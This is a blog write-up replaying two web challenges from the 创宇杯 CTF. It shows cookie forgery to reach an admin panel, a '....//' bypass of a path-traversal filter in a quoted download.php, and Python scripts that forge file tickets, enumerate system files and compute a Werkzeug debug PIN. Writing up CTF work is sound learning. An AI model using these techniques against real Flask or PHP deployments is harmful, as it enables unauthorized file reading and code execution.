创宇杯网络安全大赛复现

创宇杯网络安全大赛复现

由于比赛在周五,因为上课没能参加,所以抽时间复现一下,也是久违地重新捡起CTF题目了

Web

Hackers Blog

这道题的难度不高,但依旧是看了WP之后才复现出来,感觉我这种太久没打半退休的老东西还是不要再打比赛了,越打越招笑啊

图片

信息搜集一下,发现搜索和邮箱订阅功能都是假的,整个页面只跳转进具体文章中

图片

最开始我怀疑可能是路径遍历或XSS,但探测之后发现都不是

翻WP发现存在/admin路由可以进行登录,我最开始尝试过访问admin.php结果404,没想到可以直接访问/admin

image-20260919102017458

翻找前端进行信息收集

    <script>
        function refreshCaptcha() {
            document.getElementById('captcha_img').src = 'captcha.php?' + Math.random();
        }

        async function doLogin() {
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            const captcha = document.getElementById('captcha').value;
            const msgBox = document.getElementById('message');

            if (!username || !password || !captcha) {
                msgBox.textContent = "所有字段均为必填!";
                msgBox.style.color = "#e74c3c";
                return;
            }

            try {
                const response = await fetch('login.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ username, password, captcha })
                });

                const result = await response.json();
                
                if (result.status === true) {
                    document.cookie = "admin_auth=true; path=/";
                    msgBox.style.color = "#2ecc71";
                    msgBox.textContent = "登录成功,正在跳转...";
                    setTimeout(() => {
                        window.location.href = 'home.php';
                    }, 500);
                } else {
                    msgBox.style.color = "#e74c3c";
                    msgBox.textContent = result.msg;
                    refreshCaptcha();
                    document.getElementById('captcha').value = '';
                }
            } catch (error) {
                msgBox.textContent = "请求服务器失败,请检查网络";
            }
        }
    </script>

这里可以伪造cookie

image-20260919102339758

这样就可以访问到后台了

image-20260919102427587

在下载基础配置文件这里发现可以目录遍历下载任意文件

image-20260919102600639

这样带cookie访问

image-20260919102639677

尝试读/etc/passwd发现有过滤

image-20260919102702842

下载download.php读下代码,看看过滤规则是怎样的

<?php
session_start();
require_once __DIR__ . '/../config.php';

if (!isset($_COOKIE['admin_auth']) || $_COOKIE['admin_auth'] !== 'true') {
    header("HTTP/1.1 403 Forbidden");
    die("Permission Denied.");
}

$file = $_GET['file'] ?? '';

if (empty($file)) {
    die("Parameter 'file' is missing.");
}

if (strpos($file, '../') !== false) {
    echo "哎哟 被过滤了";
    $file = str_replace('../', '', $file);
}

$filepath = __DIR__ . '/' . $file;

if (!file_exists($filepath)) {
    die("File not found.");
}

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($filepath));

readfile($filepath);
?>

可以看到过滤了../ 这里可以用....//来绕过,这个绕过方法虽然以前见过,但是做的时候没想起来,看WP才意识到

图片

图片

读到了flag

PyBundlePin

这道题依旧是看了WP才复现出来的

图片

输入框提示werkzeug PIN,显然是 Flask 算PIN之类的题目,这种题一般会结合任意文件读来做

先进行一下信息搜集,有一说一,这道题前端一堆不知所云的英文,本来英文看不懂,翻译成中文更看不懂了

图片

可以看到,在index的响应里给了盐值,而在读文件的时候是需要有两个参数,一个是文件名,另一个是ticket,在app.js里没找到怎么算ticket的逻辑,不过我猜测是要用这里给出的盐值来算

遂翻看WP,WP中说可以通过特征来逆推猜测出ticket的算法,我很少有这方面的经验,所以只能牵强附会地在下面尝试证明:

首先我们可以观察一下从后端返回的三个ticket,有点像是某种哈希截断的结果(这句话是AI说的,我没看出来)

图片

ticket是用来校验的校验码,常见的校验一般就是MD5/SHA1/SHA256,SHA256比较安全,所以一般考虑MD5和SHA1

然后题目的响应中一共出现了三个参数:name,size,ticket,再加上盐值,所以应该是用参数加上盐值拼接成字符串来算ticket

size参数先按下不表

尝试用name和盐值来做哈希,因为ticket长度是24,所以截断到24,将得到的哈希值和后端给的ticket做对比,如果能对上,那相应的算法就是ticket的算法

AI说常见的拼接方式无非就是:

sha1(salt + name)
sha1(name + salt)
sha1(salt + "|" + name)
sha1(name + "|" + salt)
md5(...)
sha256(...)

我在查阅资料的时候只找到了sha1(salt + name)sha1(name + salt)这两种平常用来拼接字符算哈希的方法,其他的没找到

但对于这道题来说,其哈希算法是这样的:

ticket = sha1(f"{salt}|{name}").hexdigest()[:24]

我们来验证一下:

import hashlib
salt = "5dd82d3e140d35a236beb525555e090f"
h1 = hashlib.sha1(f"{salt}|notes/ops.txt".encode()).hexdigest()[:24]
h2 = hashlib.sha1(f"{salt}|notes/reminder.txt".encode()).hexdigest()[:24]
h3 = hashlib.sha1(f"{salt}|notes/welcome.txt".encode()).hexdigest()[:24]
print(h1)
print(h2)
print(h3)

图片

图片

是一致的

WP中说服务器会对路径做处理,使得我们无法通过路径穿越来读文件

这一点的验证方法是:我们使用/notes/ops.txt的ticket来访问a/../notes/ops.txt是不报错的

图片

所以我们只能在 bundle 根目录下来做遍历

但是探测发现不同的参数会有不同的回显,具体来说就是,当一个参数是存在且这个参数是目录,会返回400 directories are not previewable,参数存在且是文件就返回200以及文件内容,而参数如果不存在就报错404 bundle entry not found

图片

图片

所以我们可以根据不同的回显来遍历从而找到有用的信息

要算Flask的PIN我们需要这些参数:

username
通过getpass.getuser()读取,通过文件读取/etc/passwd
引用
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
引用
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
引用
moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
引用
uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
引用
machine_id
每一个机器都会有自已唯一的id,machine_id由三个合并(docker就后两个):
1./etc/machine-id 
2./proc/sys/kernel/random/boot_id 
3./proc/self/cgroup

所以我们写脚本来遍历路径尝试找到相关的参数

#!/usr/bin/env python3
import hashlib
from collections import deque
import requests

BASE_URL = "http://challenge.xiaoyuyc.com:26216/bundle/read"
SALT = "5dd82d3e140d35a236beb525555e090f"

def ticket(name):
    return hashlib.sha1(f"{SALT}|{name}".encode()).hexdigest()[:24]

def probe(name):
    r = requests.get(BASE_URL, params={"name": name, "ticket": ticket(name)}, timeout=5)
    try:
        j = r.json()
    except Exception:
        return "other", r.text
    if "content" in j:
        return "file", j["content"]
    err = j.get("error", "")
    if "directories are not previewable" in err:
        return "dir", err
    if "bundle entry not found" in err:
        return "none", err
    return "other", err

ROOT = [
    "diag", "notes", "support", "data", "logs", "meta", "config", "conf",
    "etc", "proc", "sys", "debug", "console", "pin", "secrets", "keys",
    "bundle", "files", "static", "assets", "templates","class","net","eth0","address",
    "app.py", "main.py", "wsgi.py", "server.py", "config.py", "settings.py",
    "utils.py", "bundle.py", "console.py", "debug.py", "pin.py",
    "flag", "flag.txt", ".env",
    "README", "README.md", "requirements.txt", "Dockerfile",
    "bundle.json", "index.json", "manifest.json", "meta.json",
    "pin.txt", "debug.txt", "info.txt", "hint.txt", "todo.txt",
]

CHILD = [
    "machine-id", "hostname", "hosts", "passwd", "shadow", "group",
    "os-release", "resolv.conf",
    "cgroup", "environ", "cmdline", "status", "boot_id",
    "self", "etc", "proc", "sys", "kernel", "random","class","net","eth0","address",
    "app.py", "config.py", "bundle.py", "console.py", "pin.py",
    "bundle.json", "manifest.json", "meta.json",
    "flag", "flag.txt", ".env", "info.txt", "hint.txt",
]

def main():
    tried = set()
    files = {}
    queue = deque(ROOT)

    while queue:
        name = queue.popleft()
        if name in tried:
            continue
        tried.add(name)

        kind, body = probe(name)

        if kind == "dir":
            print(f"[DIR ] {name}")
            for w in CHILD:
                queue.append(f"{name}/{w}")
        elif kind == "file":
            print(f"[FILE] {name}  ({len(body)} bytes)")
            files[name] = body
        elif kind == "other":
            print(f"[????] {name}  {body[:120]!r}")

    print("\n===== PIN 相关 =====")
    keys = ["machine-id", "cgroup", "boot_id", "address", "environ",
            "cmdline", "passwd", "hostname", "app.py", "config.py",
            "bundle.py", "pin.py", "console.py"]
    for name, body in files.items():
        if any(k in name for k in keys):
            print(f"\n--- {name} ---")
            print(body.strip()[:800])

if __name__ == "__main__":
    main()

这里遍历的字典是抄的WP中的,如果是我来写的话,我应该是完全想不到要遍历diag

图片

拿到相关的信息之后就可以算PIN了

import hashlib
from itertools import chain

probably_public_bits = [
    'ctf', 
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.12/site-packages/flask/app.py'
]

mac_int = int('4a0637f44d46', 16)

# machine_id = boot_id,因为 /proc/self/cgroup 是 "0::/",最后一部分为空
machine_id = '58255f3a-d029-496d-bc43-a6565688f983'

private_bits = [
    str(mac_int),
    machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = f'__wzd{h.hexdigest()[:20]}'

h.update(b'pinsalt')
num = f'{int(h.hexdigest(), 16):09d}'[:9]

rv = None
for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = '-'.join(
            num[x: x + group_size].rjust(group_size, '0')
            for x in range(0, len(num), group_size)
        )
        break
else:
    rv = num

print('PIN:', rv)

图片

拿到PIN之后就可以用PIN来获取flag了

图片

图片

参考:

深入浅出Flask PIN

至于 ReContext Memo这道题的WP我实在没法复现出来,脚本能跑出flag,但是手动复现不知道哪里出了问题,就不写了,感兴趣的可以看WP

参考

WP:

OnePanda-Sec第一届创宇杯网络安全技能大赛-WriteUp

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计